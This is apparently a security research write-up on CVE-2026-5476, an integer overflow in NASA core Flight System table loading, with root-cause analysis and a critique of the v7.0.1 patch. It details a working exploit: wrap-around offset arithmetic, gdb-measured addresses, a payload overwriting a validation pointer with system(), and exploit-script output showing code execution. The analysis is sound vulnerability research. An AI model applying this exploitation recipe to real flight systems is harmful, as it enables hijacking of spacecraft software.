CVE-2026-5476: Integer Overflow in NASA core Flight System

Target: NASA core Flight System (cFS), table services (CFE_TBL), 32-bit builds

Research: CVE-2026-5476 sample on GitHub

Why This Bug Matters

CVE-2026-5476 (NVD) is an integer overflow in NASA’s core Flight System up to v7.0.0, affecting CFE_TBL_ValidateCodecLoadSize() in cfe/modules/tbl/fsw/src/cfe_tbl_passthru_codec.c on 32-bit targets. The advisory (CWE-190, CVSS 4.0 AV:A/AC:H/PR:L, assessed by VulDB) rates attack complexity high and exploitability difficult. The original report is nasa/cFE#2692.

There are three reasons this bug deserves attention:

  1. Real flight software. cFS flies on NASA and partner missions; the report names LEON3 and RAD750 class processors. These are 32-bit radiation-hardened targets where the bug is actually live.
  2. Shallow advisory. It names a function and a CWE but answers none of the exploitation questions. For example, what the wrap buys an attacker, or whether any shipping version is actually exploitable end-to-end.
  3. Ground-to-space command path. The trigger is a routine table upload (the same channel operators use daily), which makes the threat model concrete.

The analysis below traces the bug from the upload path to working RCE on two cFS versions.

Where the Vulnerable Component Sits

cFS is a reusable flight-software framework: applications run as tasks under an executive (ES), exchange messages over a software bus (SB), and persist configuration in tables managed by the table services module (TBL). Each table has a registered owner app, a size, a validation callback, and one or two load buffers. TBL is a core service which every cFS deployment runs.

The data path relevant to this CVE:

ground station
      |  uplink (CCSDS packets)
      v
CF application (CFDP file delivery) --> spacecraft filesystem (/cf)
      |                                 
      v
TBL_LOAD telecommand ----------------> CFE_TBL validates header,
      |                                reads file into load buffer,
      |                                copies to inactive buffer...
      v
owner app calls ValidationFuncPtr(table contents)

Uploading a tbl file and issuing TBL_LOAD are normal operations. An attacker who can place a file in /cf and send the load command is using the system exactly as designed, without any exploit required.

Root Cause

The Integer Wrap

cfe_tbl_passthru_codec.c (v7.0.0):

uint32 ActualSize;
uint32 ProjectedSize;

ActualSize    = CFE_TBL_RegRecGetSize(CFE_TBL_TxnRegRec(Txn));
ProjectedSize = HeaderPtr->Offset + HeaderPtr->NumBytes;   // uint32
if (ProjectedSize > ActualSize)
{
    /* reject */
}

Offset and NumBytes are attacker-controlled 32-bit fields from the table file header. Their true sum needs up to 33 bits; computed in uint32, it wraps at 2^32. A wrapped sum is small, so the check passes, and the unwrapped Offset is then handed to CFE_TBL_LoadContentFromFile() in cfe_tbl_load.c, which performs a second gate and then the copy:

size_t LoadTailSize;

LoadTailSize = Offset + NumBytes; // size_t: 4 bytes on 32-bit
if (LoadTailSize > CFE_TBL_LoadBuffGetAllocSize(WorkingBufferPtr))
{
    /* reject */
}
...
DestPtr = CFE_TBL_LoadBuffGetWritePointer(WorkingBufferPtr);
DestPtr += Offset; // wraps into .bss on 32-bit
OS_read(FileDescriptor, DestPtr, NumBytes);

Why 32-Bit Only

The second addition is in size_t. On x86-64 that is 64 bits; two 32-bit inputs cannot wrap it. On a 32-bit build (i386, ARM, SPARC, PPC RTEMS — i.e. actual flight targets) size_t is 32 bits, the addition wraps like the first one, both gates see the same small number and pass, and OS_read runs with a large Offset.

Why It Is a Precise Write, Not Just a DoS

The destination pointer is a load-buffer pointer stored in CFE_TBL_Global, a static structure in .bss. On a non-PIE build the binary loads at a fixed address, so the layout of CFE_TBL_Global and the distance from any load buffer to the adjacent CFE_TBL_RegistryRec_t array containing the per-table validation function pointer is a constant per build. Modular arithmetic on two 32-bit fields then selects an arbitrary destination:

D  = BufferPtr - &ValidationFuncPtr (build constant, measured once)
Offset = (-D) mod 2^32 ("add 2^32 - D" == "subtract D")
NumBytes = D + L  (L = payload length <= table Size)

In the size check, Offset + NumBytes wraps to exactly L; in the pointer arithmetic, BufferPtr + Offset wraps to &ValidationFuncPtr.

The Patch (v7.0.1)

The fix adds a wrap detector to the first site:

ProjectedSize = HeaderPtr->Offset + HeaderPtr->NumBytes;
if (ProjectedSize < HeaderPtr->Offset || ProjectedSize > ActualSize)

A uint32 sum can only come out smaller than one of its operands if it wrapped, so the attack is caught. Note: the second site in cfe_tbl_load.c is unchanged in v7.0.1; its safety is only transitive through the upstream codec check.

Attacker Prerequisites

  • Network/operator access: the ability to deliver a file to /cf and issue TBL_LOAD. In a real deployment the file arrives over CFDP using the same channel as legitimate tables.
  • A target table: any app-registered table; the sample app’s table suffices.
  • Build knowledge: struct offsets (D) are fixed per build for non-PIE binaries. Anyone with the flight binary can compute them.
  • One runtime pointer: an ASLR-defeating libc system() address. The flight Linux build has ASLR on, so a read primitive is needed, demonstrated later with the MM application’s unauthenticated telecommand-driven arbitrary read (CVE-2025-25373, NVD) on the draco-rc5 image.

Investigation: Reproduction

Environment

git clone https://github.com/nasa/cFS.git && cd cFS
git checkout v7.0.0 && git submodule init && git submodule update
cp cfe/cmake/Makefile.sample Makefile
cp -r cfe/cmake/sample_defs sample_defs
export CFLAGS="-m32 -g" CXXFLAGS="-m32 -g" LDFLAGS="-m32"
make SIMULATION=native prep && make && make install
file build/exe/cpu1/core-cpu1
# build/exe/cpu1/core-cpu1: ELF 32-bit LSB executable, Intel 386,
#   dynamically linked, interpreter /lib/ld-linux.so.2,
#   with debug_info, not stripped

Finding 1: The Shipping v7.0.0 Cannot Be Exploited

The very first crafted load against stock v7.0.0 failed before reaching the vulnerable check:

EVS ... 66/1/CFE_TBL 60: LoadFile,app=CFE_TBL,tbl=SAMPLE_APP.ExampleTable:
      No working buffers available, stat=0xcc00000f

This is nasa/cFS#892: a v7.0.0 regression breaks TBL_LOAD entirely, which means the regression also blocks the CVE’s only trigger path.

Finding: Theoretically vulnerable, practically unexploitable in stock v7.0.0. The advisory’s “exploitability is told to be difficult” is, precisely, an understatement of this deadlock.

The regression was fixed in cFE@9ba6759, slated for v7.0.1.

Finding 2: The Bug Is Older Than the CVE’s Function

CFE_TBL_ValidateCodecLoadSize did not exist before v7.0.0, but the wrapping checks and the wrapped pointer arithmetic did. draco-rc5, the previous release, contains the identical flaw at the cfe_tbl_load.c site with only one upstream gate. So the exploitable surface predates the CVE’s named function. Reproduction was therefore performed on both:

  • draco-rc5 — the classic path (its CFE_TBL_RegistryRec_t holds ValidationFuncPtr directly).
  • v7.0.0 @ 9ba6759 — the actual CVE window: load fix in, overflow fix out.

Precision

draco-rc5, measured under gdb on the running target:

(gdb) p/x &CFE_TBL_Global.Registry[0].ValidationFuncPtr
$1 = 0x8134518
(gdb) p/x CFE_TBL_Global.LoadBuffs[0].BufferPtr
$2 = 0x813fc70

D = 0xB758, hence Offset = 0xFFFF48A8, NumBytes = 0xB75C. Rather than plant a target address blind, a 4-byte canary (01 02 03 04) was written and the field read back after the load:

(gdb) p/x CFE_TBL_Global.Registry[0].ValidationFuncPtr
$1 = 0x04030201

The math is confirmed. One side effect surfaced immediately: the write also clobbers Registry[0].Name (it lies between the two endpoints), so the table can no longer be located by name.

Side Effects of a .bss Write

Zero-filling the entire span between the buffer and the target field also zeroed three fields the TBL state machine relies on: ValidateInactiveIndex, ValidateActiveIndex, and DumpControlIndex (all normally -1 = “no operation pending”):

  • system(BufferPtr) ran twice — backtraces showed two distinct branches of CFE_TBL_Validate (inactive-buffer branch, then active-buffer branch), both reached through the same call site inside Manage’s status loop. The zeroed validation flags had queued two operations. The second call passed the live table content as argument (sh: $‘\001’: command not found), which the attacker does not control.
  • The zeroed DumpControlIndex then queued a table dump, and CFE_TBL_DumpToBuffer() dereferenced corrupted dump-control state and segfaulted.

The fix is to write values rather than zeros: ValidationFuncPtr = &system, ValidateActiveIndex = -1, ValidateInactiveIndex = 0, DumpControlIndex = -1, and the command string at the buffer:

EVS ... CFE_TBL 12: Successful load of '/cf/my.tbl' into
  'SAMPLE_APP.SampleAppTable' working buffer
uid=1000(Sibouzbib) gid=1000(Sibouzbib)
  groups=1000(Sibouzbib),10(wheel),964(wireshark),968(libvirt) ...
EVS ... CFE_TBL 36: SAMPLE_APP validation successful for Inactive ''

Result: Clean RCE on draco-rc5.

The Actual CVE: v7.0.0 @ 9ba6759

v7.0.0 restructured CFE_TBL_RegistryRec_t: ValidationFuncPtr moved inside Config, the two validation flags were replaced by PendingValId, and the sample table now sits at Registry[1]. Measuring on the live process:

(gdb) p/x &CFE_TBL_Global.Registry[1].Config.ValidationFuncPtr
$1 = 0x8141548
(gdb) p/x CFE_TBL_Global.LoadBuffs[1].BufferPtr
$2 = 0x81522d4

D = 0x10D8C. The first attempt crashed inside the loader before the write could matter: CFE_TBL_GetLoadInProgressBuffer() derives its destination from Registry[1].Status.NextBufferId, which the zero-fill had destroyed, yielding NULL. The value is build-dependent; it was recovered from the binary (0x1A0001) and written back. Since this version’s pending-validation flags were left intact, the legitimate VALIDATE telecommand replaces the nudge:

python3 cfs.py --version v7 --sys 0xf7dcbdd0
uid=1000(Sibouzbib) gid=1000(Sibouzbib)
  groups=1000(Sibouzbib),10(wheel),964(wireshark),968(libvirt) ...
EVS ... CFE_TBL 36: SAMPLE_APP validation successful for inactive
  'SAMPLE_APP.ExampleTable'

Result: Clean RCE on the CVE’s only exploitable window.

Is the Patch Actually Correct

The advisory records affected versions as “up to 7.0.0”. Testing says otherwise: stock v7.0.0 cannot load any table (#892), and the exploitable state existed only between the load-fix commit 9ba6759 and v7.0.1, which is a window of one intermediate commit.

Practical exploitability was bounded by an unrelated regression.

So how much did the fix actually cover? v7.0.1 adds wrap detection to the codec-side check only; the LoadTailSize = Offset + NumBytes addition in CFE_TBL_LoadContentFromFile remains 32-bit wrap-able, protected transitively. Tracing the v7.0.1 call graph shows the one caller routing through the patched codec gate, so today the protection holds. But the fix is a guard at a call site: any future caller that supplies attacker-derived offset/size pairs without the codec check re-opens this CVE. A definitive answer needs a call-graph audit over mission-added code paths, or differential fuzzing of the TBL transaction layer.

Limitations

  • Command length is bounded by the hijacked call convention (system(BufferPtr)): the command must fit the table buffer minus its NUL. The sample table is 4 bytes, hence the 3-character demo (id). Any mission app registering a larger table raises the ceiling to Size - 1; a fuller payload (e.g. a staged download-and-exec) is a scaling exercise, not a new primitive.
  • /cf write access is assumed. In operations this is a ground-side capability; the file normally arrives over CFDP. An attacker needs to have permission to upload.
  • The libc leak requires a read primitive. Demonstrated via MM (CVE-2025-25373) on draco-rc5 and via the container’s /proc-based leak service elsewhere; on a flight build without MM, an equivalent read is needed.
  • NextBufferId (v7.0.0) is hardcoded in the payload; it is build-dependent and recoverable from any copy of the binary.

References

* ▮